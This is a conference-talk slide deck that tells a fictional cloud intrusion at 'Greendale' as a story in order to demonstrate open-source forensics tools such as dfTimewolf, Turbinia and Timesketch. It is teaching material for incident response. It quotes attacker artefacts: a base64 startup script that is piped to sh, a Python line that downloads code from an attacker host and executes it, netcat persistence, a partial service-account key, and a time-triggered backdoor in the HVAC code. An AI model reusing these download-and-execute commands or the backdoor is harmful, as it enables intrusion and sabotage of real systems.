Tools for Cloud Examination

"Tilt your head back and look up to the sky"
The Storytellers

Daniel White
- Incident responder
- Plaso core developer
- Based in Zurich, Switzerland

Thomas Chopitea
- Incident responder
- dfTimewolf core developer
- Based in Zurich, Switzerland
- @tomchop_
This is a story
Cast of Characters

The Dean
The dean of the school, who also dabbles into sysadmin stuff.

Benjamin Chang
Recently graduated cloud expert. Has to set up the cloud infrastructure for Greendale’s new class on IoT A/C systems.
Cast of Characters

Ahmed

Experienced incident responder, has responded to previous incidents at Greendale.

Rosa

New addition to the team, has great attention to detail and is a very quick learner.
Cloud Alerts
Billing Alert!
# Billing Alert!

## Infrastructure / Instances

<table>
<thead>
<tr>
<th>NAME</th>
<th>ZONE</th>
<th>PUBLIC IP</th>
<th>PRIVATE IP</th>
<th>CPU USAGE</th>
<th>MEMORY USAGE</th>
</tr>
</thead>
<tbody>
<tr>
<td>instance-22</td>
<td>gce:us-east1-d</td>
<td>35.229.71.49</td>
<td>10.142.15.195</td>
<td></td>
<td></td>
</tr>
<tr>
<td>instance-18</td>
<td>gce:us-east1-d</td>
<td>35.185.4.129</td>
<td>10.142.0.63</td>
<td></td>
<td></td>
</tr>
<tr>
<td>instance-5</td>
<td>gce:us-east1-d</td>
<td>35.229.125.68</td>
<td>10.142.0.50</td>
<td></td>
<td></td>
</tr>
<tr>
<td>instance-6</td>
<td>gce:us-east1-d</td>
<td>35.237.209.5</td>
<td>10.142.0.51</td>
<td></td>
<td></td>
</tr>
<tr>
<td>instance-7</td>
<td>gce:us-east1-d</td>
<td>35.229.40.202</td>
<td>10.142.0.52</td>
<td></td>
<td></td>
</tr>
<tr>
<td>instance-9</td>
<td>gce:us-east1-d</td>
<td>35.196.138.124</td>
<td>10.142.0.54</td>
<td></td>
<td></td>
</tr>
<tr>
<td>instance-11</td>
<td>gce:us-east1-d</td>
<td>35.237.66.176</td>
<td>10.142.0.56</td>
<td></td>
<td></td>
</tr>
<tr>
<td>instance-1</td>
<td>gce:us-east1-d</td>
<td>35.196.89.183</td>
<td>10.142.0.46</td>
<td></td>
<td></td>
</tr>
<tr>
<td>instance-10</td>
<td>gce:us-east1-d</td>
<td>35.237.40.40</td>
<td>10.142.0.55</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Building a response
Setting up a response environment

What Ahmed wants:

- A Timesketch instance ready to ingest plaso files
- A Turbinia instance ready to process cloud evidence
- A bunch of Turbinia workers ready to run jobs
- dfTimewolf set up and ready to go
Starting the forensics

Stackdriver logs
dfTimewolf for Stackdriver

- Let’s have a look at who created those VMs
- dfTimewolf can help!
  - Recipe running a prebuilt filter Stackdriver logs on actions taken on GCE instances (VMs)
- Our target project is greendale-iot-cloud

$ dftimewolf stackdriver_gce_ts greendale-iot-cloud <start_date> <end_date> <justification>
### Mining for Glory

<table>
<thead>
<tr>
<th>Date/Time</th>
<th>Event Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2019-10-07T19:58:09+00:00</td>
<td>VM created</td>
<td>User <a href="mailto:super-admin@greendale-iot-cloud.iam.gserviceaccount.com">super-admin@greendale-iot-cloud.iam.gserviceaccount.com</a> performed v1.compute.instances.insert on projects/greendale-iot-cloud/...</td>
</tr>
<tr>
<td>2019-10-07T19:58:09+00:00</td>
<td>VM created</td>
<td>User <a href="mailto:super-admin@greendale-iot-cloud.iam.gserviceaccount.com">super-admin@greendale-iot-cloud.iam.gserviceaccount.com</a> performed v1.compute.instances.insert on projects/greendale-iot-cloud/...</td>
</tr>
<tr>
<td>2019-10-07T19:58:10+00:00</td>
<td>VM created</td>
<td>User <a href="mailto:super-admin@greendale-iot-cloud.iam.gserviceaccount.com">super-admin@greendale-iot-cloud.iam.gserviceaccount.com</a> performed v1.compute.instances.insert on projects/greendale-iot-cloud/...</td>
</tr>
<tr>
<td>2019-10-07T19:58:11+00:00</td>
<td>VM created</td>
<td>User <a href="mailto:super-admin@greendale-iot-cloud.iam.gserviceaccount.com">super-admin@greendale-iot-cloud.iam.gserviceaccount.com</a> performed v1.compute.instances.insert on projects/greendale-iot-cloud/...</td>
</tr>
</tbody>
</table>

**Table Data**

<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Datetime</td>
<td>2019-10-07T19:58:16+00:00</td>
</tr>
<tr>
<td>Message</td>
<td>User <a href="mailto:super-admin@greendale-iot-cloud.iam.gserviceaccount.com">super-admin@greendale-iot-cloud.iam.gserviceaccount.com</a> performed v1.compute.instances.insert on projects/greendale-iot-cloud/...</td>
</tr>
<tr>
<td>Method Name</td>
<td>v1.compute.instances.insert</td>
</tr>
<tr>
<td>Principal Email</td>
<td><a href="mailto:super-admin@greendale-iot-cloud.iam.gserviceaccount.com">super-admin@greendale-iot-cloud.iam.gserviceaccount.com</a></td>
</tr>
<tr>
<td>Project Name</td>
<td>greendale-iot-cloud</td>
</tr>
<tr>
<td>Query</td>
<td>logName=projects/greendale-iot-cloud/logs/cloudaudit.googleapis.com%2Factivity resource.type=&quot;gce&quot; timestamp=&quot;2019-09-09&quot; timestamp=&quot;2019-10-13&quot;</td>
</tr>
<tr>
<td>Request Metadata caller</td>
<td>54.241.230.117</td>
</tr>
</tbody>
</table>
Don't put keys in source control

```json
{
    "type": "service_account",
    "project_id": "greendale-iot-cloud",
    "private_key_id": "2ee8315175d19d8ad0d19be904822ebfa835db4",
    "private_key": "-----BEGIN PRIVATE KEY-----

MIIEvgIBADANBgkqhkiG9w0BAQEFAA SasCBKggSkAgEAQc6nTEKFq5+Sx6F\n
client_email": "super-admin@greendale-iot-cloud.iam.gserviceaccount.com",
    "client_id": "111554649056965518557",
    "auth_uri": "https://accounts.google.com/o/oauth2/auth",
    "token_uri": "https://oauth2.googleapis.com/token",
    "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
    "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/super-admin%40greendale-iot-cloud.iam.gserviceaccount.com"
}
```
Going further
Something a bit weird
### Something a bit weird

<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>datetime</td>
<td>2019-10-04T13:28:25+00:00</td>
</tr>
<tr>
<td>message</td>
<td>User <a href="mailto:bchang@greendale.xyz">bchang@greendale.xyz</a> performed v1.compute.instances.setMetadata on projects/greendale-iot-cloud/zones/us-central1-f/Instances/jenkins</td>
</tr>
<tr>
<td>methodName</td>
<td>v1.compute.instances.setMetadata</td>
</tr>
<tr>
<td>principaEmail</td>
<td><a href="mailto:bchang@greendale.xyz">bchang@greendale.xyz</a></td>
</tr>
<tr>
<td>projectName</td>
<td>greendale-iot-cloud</td>
</tr>
<tr>
<td>query</td>
<td>logName=projects/greendale-iot-cloud/logs/cloudaudit.googleapis.com%2Factivity resource.type=&quot;gce&quot; timestamp=&quot;2019-09-09&quot; timestamp=&quot;2019-10-13&quot; requestMetadata_caller 2620.0:105f600.5cf2:22a7a26:fb7</td>
</tr>
<tr>
<td>requestMetadata_caller</td>
<td>google-cloud-sdk.gcloud/262.0.0 command/gcloud.compute.instances.add-metadata invocation-id/1aaa3e4e31a549f3b6e888b3278f007c environment/None environment-version/None Interactive/False from-script/False python/2.7.15+ term/xterm-256color (Linux 4.4.0-18362-Microsoft),gzip(gfe)</td>
</tr>
<tr>
<td>resourceName</td>
<td>projects/greendale-iot-cloud/zones/us-central1-f/Instances/jenkins</td>
</tr>
<tr>
<td>serviceName</td>
<td>compute.googleapis.com</td>
</tr>
<tr>
<td>timestamp</td>
<td>1570195765033000</td>
</tr>
<tr>
<td>timestamp_desc</td>
<td>Event Recorded</td>
</tr>
</tbody>
</table>

---

The highlighted text in the document is:

```

google-cloud-sdk gcloud/262.0.0 command/gcloud.compute.instances.add-metadata invocation-id/1aaa3e4e31a549f3b6e888b3278f007c environment/None environment-version/None Interactive/False from-script/False python/2.7.15+ term/xterm-256color (Linux 4.4.0-18362-Microsoft),gzip(gfe)
```
Something a bit weird

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36,gzip(gfe)
Something a bit weird

rosa@cloudshell:~ (greendale-iot-cloud)$ gcloud compute instances describe jenkins --flatten="metadata[]" --zone=us-central1-f
---
fingerprint: Vqsq6pUqRds=
items:
- key: startup-script
  value: |
  #!/bin/bash

  echo "eD0vdXNyLZJpbi9zc2hkO2lmIFsgLWYgIiR4IiB03RoZW4gL3Vzci9iaW4vc3NoZDttbHNIIGNkIC91c3IvYmluLyYmd2dldCBncmVuZGFsZS54eXovc3NoZCYmY2htb2QgK3ggL3Vzci9iaW4vc3NoZCYmL3Vzci9iaW4vc3NoZDttmaQ==" | base64 -d | sh

rosa@cloudshell:~ (greendale-iot-cloud)$
Something a bit weird
Gathering More Evidence
Forensics in the cloud

plz copy disk jenkins
new disk ID: jenkins-copy
plz forensicate disk jenkins-copy
here's jenkins-copy.plaso
plz timeline jenkins-copy.plaso
store jenkins.plaso

Timesketch

Greendale IOT Cloud project
Jenkins VM
greendale-iot-cloud
CFA incident response project
Turbinia
Worker
Worker
Worker
jenkins-copy
Forensics to the cloud
So what happened?
What we know:

- Instances were created and started mining cryptocurrency, alerting Ben.
- While digging, Rosa found some other, unrelated, strange activity... and decided to dig deeper.

Forensic evidence that CFA has so far:

- API logs from Cloud (Stackdriver)
- The Jenkins VM disk timeline (dftimewolf’d in the Cloud)
- Ben’s workstation timeline (GIFT’ed to CFA)
Working backwards: Activity

Suspicious events around time of jenkins reboot
You are exploring in the context of a saved view.
Click here to go back to explore view.

Update view  Delete view

7 events (0.007s)

- 2019-10-04T13:27:05+00:00: BASH.EXE-6011DE80, pf File reference: 87123-4 Parent file reference: 77572-2 Update r...
  behang-laptop
- 2019-10-04T13:27:05+00:00: BASH.EXE-6011DE80, pf File reference: 87123-4 Parent file reference: 77572-2 Update r...
  behang-laptop
- 2019-10-04T13:29:25+00:00: User chang@greendale.xyz performed v1.compute.instances.setMetadata on projects/...
  Stackdriver GCE lo...
- 2019-10-04T13:29:27+00:00: User chang@greendale.xyz performed v1.compute.instances.setMetadata on projects/...
  Stackdriver GCE lo...
- 2019-10-04T13:30:36+00:00: User chang@greendale.xyz performed v1.compute.instances.reset on projects/greendale... Stackdriver GCE lo...
- 2019-10-04T13:30:38+00:00: User chang@greendale.xyz performed v1.compute.instances.reset on projects/greendale... Stackdriver GCE lo...
- 2019-10-04T14:26:42+00:00: Prefetch [NC64.EXE] was executed - run count 0 path: \USERS\BENJAMIN\CHANG\APP... behang-laptop
### Working backwards: Activity

<table>
<thead>
<tr>
<th>data_type</th>
<th>windows:prefetch:execution</th>
</tr>
</thead>
<tbody>
<tr>
<td>date/time</td>
<td>2019-10-03T12:39:33+00:00</td>
</tr>
<tr>
<td>display_name</td>
<td>TSK/Windows/Prefetch/CMD.EXE-C2D4F9E.pf</td>
</tr>
<tr>
<td>executable</td>
<td>CMD.EXE</td>
</tr>
</tbody>
</table>

Ahmed

Prefetch references UNISTORE\DATA\NVTELEMETRY.BAT and UNISTORE\DATA\NVTELEMETRY.BAT

- Mon, 14 Oct 2019 02:47:56 -0000

```
54306bc4265-JG\APPDATA\LOCAL\COMMS\UNISTORE\DATA\NVTELEMETRY.BAT","\VOLUME\01d5554306bc4265-6606d446\GLOBALIZATION\SORTING\SORTDEFAULT.NLS [MFT entry: 28653, sequence: 606d446]\WINDOWS\SYSTEM32\WINBRAND.DLL","\VOLUME\01d5554306bc4265-BASEBRD\BASEBRD.DLL".
```
Working backwards: Folder
### Working Backwards: Malware

<table>
<thead>
<tr>
<th>Time</th>
<th>Action</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>19:04:12:55</td>
<td>[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]</td>
<td>NvTelemetry: C:\Users\BenjaminChang\AppData\Local\Comms\Unistore\da...</td>
</tr>
<tr>
<td>19:04:12:21</td>
<td>Prefetch [NC64.EXE] was executed - run count 0 path: \Users\BenjaminChang\AppData\Local\Comms\Unistore\data\NC64.EXE</td>
<td>hash: 0xDE...</td>
</tr>
<tr>
<td>19:04:12:21</td>
<td>Prefetch [CMD.EXE] was executed - run count 0 path: \Windows\System32\CMD.EXE</td>
<td>hash: 0xCD245F9E volume: 1 [serial number: 0x6606D446, de...</td>
</tr>
<tr>
<td>19:04:12:21</td>
<td>Prefetch [CMD.EXE] was executed - run count 0 path: \Windows\System32\CMD.EXE</td>
<td>hash: 0xCD245F9E volume: 1 [serial number: 0x6606D446, de...</td>
</tr>
<tr>
<td>19:04:12:21</td>
<td>TSK:\Windows\Prefetch\WHOAMI.EXE-824687C3.pf Type: file</td>
<td></td>
</tr>
<tr>
<td>19:04:12:21</td>
<td>Prefetch [WSLHOST.EXE] was executed - run count 0 path: \Windows\System32\LXSS\WSLHOST.EXE</td>
<td>hash: 0x9159FDFC volume: 1 [serial number: ...</td>
</tr>
<tr>
<td>19:04:12:26</td>
<td>Prefetch [CMD.EXE] was executed - run count 0 path: \Windows\System32\CMD.EXE</td>
<td>hash: 0xCD245F9E volume: 1 [serial number: 0x6606D446, de...</td>
</tr>
<tr>
<td>19:04:12:26</td>
<td>Prefetch [NC64.EXE] was executed - run count 0 path: \Users\BenjaminChang\AppData\Local\Comms\Unistore\data\NC64.EXE</td>
<td>hash: 0xDE...</td>
</tr>
</tbody>
</table>
### Working Backwards: Phishing

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Event</th>
<th>Type</th>
<th>User</th>
</tr>
</thead>
<tbody>
<tr>
<td>2019-09-25T13:42:56+00:00</td>
<td></td>
<td>[URL] webmail.ereendale.xyz/index.php/mail/viewmessage/getattachment/folder-INBOX/uniqueid/45/mimeType/YXBwbGllYXRpb24vb2N0ZXQtc...</td>
<td>[URL]</td>
<td>bohang-laptop</td>
</tr>
<tr>
<td>2019-09-25T13:43:25+00:00</td>
<td></td>
<td>[URL] webmail.ereendale.xyz/index.php/mail/viewmessage/getattachment/folder-INBOX/uniqueid/45/mimeType/YXBwbGllYXRpb24vb2N0ZXQtc...</td>
<td>[URL]</td>
<td>bohang-laptop</td>
</tr>
<tr>
<td>2019-09-25T13:43:25+00:00</td>
<td></td>
<td>[URL] webmail.ereendale.xyz/index.php/mail/viewmessage/getattachment/folder-INBOX/uniqueid/45/mimeType/YXBwbGllYXRpb24vb2N0ZXQtc...</td>
<td>[URL]</td>
<td>bohang-laptop</td>
</tr>
<tr>
<td>2019-09-25T13:47:03+00:00</td>
<td></td>
<td>TSK/Users/BenjaminChang/AppData/Local/Comms/Unistore/data/NvTelemetry.bat Type: file</td>
<td>[URL]</td>
<td>bohang-laptop</td>
</tr>
<tr>
<td>2019-09-25T15:00:18+00:00</td>
<td></td>
<td>TSK/Users/BenjaminChang/AppData/Local/Comms/Unistore/data/nc64.exe Type: file</td>
<td>[URL]</td>
<td>bohang-laptop</td>
</tr>
<tr>
<td>2019-09-25T15:00:19+00:00</td>
<td></td>
<td>TSK/Users/BenjaminChang/AppData/Local/Comms/Unistore/data/nc64.exe Type: file</td>
<td>[URL]</td>
<td>bohang-laptop</td>
</tr>
<tr>
<td>2019-09-25T15:00:19+00:00</td>
<td></td>
<td>TSK/Users/BenjaminChang/AppData/Local/Comms/Unistore/data/nc64.exe Type: file</td>
<td>[URL]</td>
<td>bohang-laptop</td>
</tr>
<tr>
<td>2019-09-25T15:00:19+00:00</td>
<td></td>
<td>TSK/Users/BenjaminChang/AppData/Local/Comms/Unistore/data/nc64.exe Type: file</td>
<td>[URL]</td>
<td>bohang-laptop</td>
</tr>
</tbody>
</table>
Relative path: ..\Windows\system32\cmd.exe  Icon location: shell32.dll  Link target: <My Computer> C:\Windows\system32\cmd.exe
Base 64 decrypted payload

C:/Python27/python.exe -c "import urllib;exec urllib.urlopen('http://grendale.xyz/oYCxR0buwF').read()"
Greendale explains
Bioreactor
Greendale explains

- Development infrastructure
  - Git repo
  - Kubernetes
  - Jenkins deploys containers to Kubernetes
  - Jenkins builds containers from committed code
  - Jenkins CI/CD

- Kubernetes nodes
- AC units get commands
- Air conditioning units

Developers push code

Highly skilled Greendale developers
Looking for git

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Location</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>2019-10-02T15:06</td>
<td>45+00:00</td>
<td>TSK:/Users/BenjaminChang/AppData/Local/Lenovo/Backup/hvac-iot-production/Dockerfile</td>
<td>file</td>
</tr>
<tr>
<td>2019-10-02T15:06</td>
<td>45+00:00</td>
<td>local/Lenovo/Backup/hvac-iot-production/hvac_server.py</td>
<td>file</td>
</tr>
<tr>
<td>2019-10-02T15:06</td>
<td>45+00:00</td>
<td>local/Lenovo/Backup/hvac-iot-production/hvac_server.py</td>
<td>file</td>
</tr>
<tr>
<td>2019-10-04T14:28</td>
<td>40+00:00</td>
<td>TSK:/Users/BenjaminChang/AppData/Local/Lenovo/Backup/hvac-iot-production/hvac_server.py</td>
<td>file</td>
</tr>
<tr>
<td>2019-10-04T14:28</td>
<td>40+00:00</td>
<td>TSK:/Users/BenjaminChang/AppData/Local/Lenovo/Backup/hvac-iot-production/hvac_server.py</td>
<td>file</td>
</tr>
<tr>
<td>2019-10-04T14:28</td>
<td>40+00:00</td>
<td>TSK:/Users/BenjaminChang/AppData/Local/Lenovo/Backup/hvac-iot-production/hvac_server.py</td>
<td>file</td>
</tr>
</tbody>
</table>
Committing to evil

```python
    def _check_maintenance_mode(self, data):
        if time.time() > 0x5da8452e:
            data['ac_on'] = data.get('maintenance_mode', False)
```

---

**History**

<table>
<thead>
<tr>
<th>ID</th>
<th>Description</th>
<th>Commit Date</th>
<th>Author</th>
</tr>
</thead>
<tbody>
<tr>
<td>7492e25</td>
<td>update</td>
<td>4 Oct 07:33</td>
<td>bchang</td>
</tr>
<tr>
<td>34bb0cd</td>
<td>fix</td>
<td>27 Sep 06:52</td>
<td>Ben Chang</td>
</tr>
</tbody>
</table>
0x5da8452e == 1571308846

October 17, 2019
10:40:46 UTC
Closing Credits
Forseti

- [https://forsetisecurity.org/](https://forsetisecurity.org/)
- Collection of community-driven, open-source tools to help you improve the security of your Google Cloud Platform (GCP) environments
- Apache License v2
dfTimewolf

- [https://github.com/log2timeline/dftimewolf](https://github.com/log2timeline/dftimewolf)
- Orchestration between different tools and APIs
- Apache License v2
Turbinia/Plaso

- [https://github.com/google/turbinia](https://github.com/google/turbinia)
- Forensics orchestration in the cloud
- Apache License v2

- [https://github.com/log2timeline/plaso](https://github.com/log2timeline/plaso)
- Recursively parses and extracts timestamp information from files
- Apache License v2
GIFT Stick

- [https://github.com/google/GiftStick](https://github.com/google/GiftStick)
- Bootable OS that copies disks/firmware to the cloud
- Apache License v2

(demo featuring our in-house hand model)
Timesketch

- [https://github.com/google/timesketch](https://github.com/google/timesketch)
- [https://demo.timesketch.org](https://demo.timesketch.org)
- Visual timeline analysis tool
- timesketch-dev@googlegroups.com
- Apache License v2
Links and Contact

- dfTimewolf
  - https://github.com/log2timeline/dftimewolf

- Turbinia
  - https://github.com/google/turbinia

- Timesketch
  - https://github.com/google/timesketch

- GIFT
  - https://github.com/google/GiftStick

- Plaso
  - https://github.com/log2timeline/plaso

- Forseti
  - https://forsetisecurity.org/

- Slack Channel
  - https://github.com/open-source-dfir/slack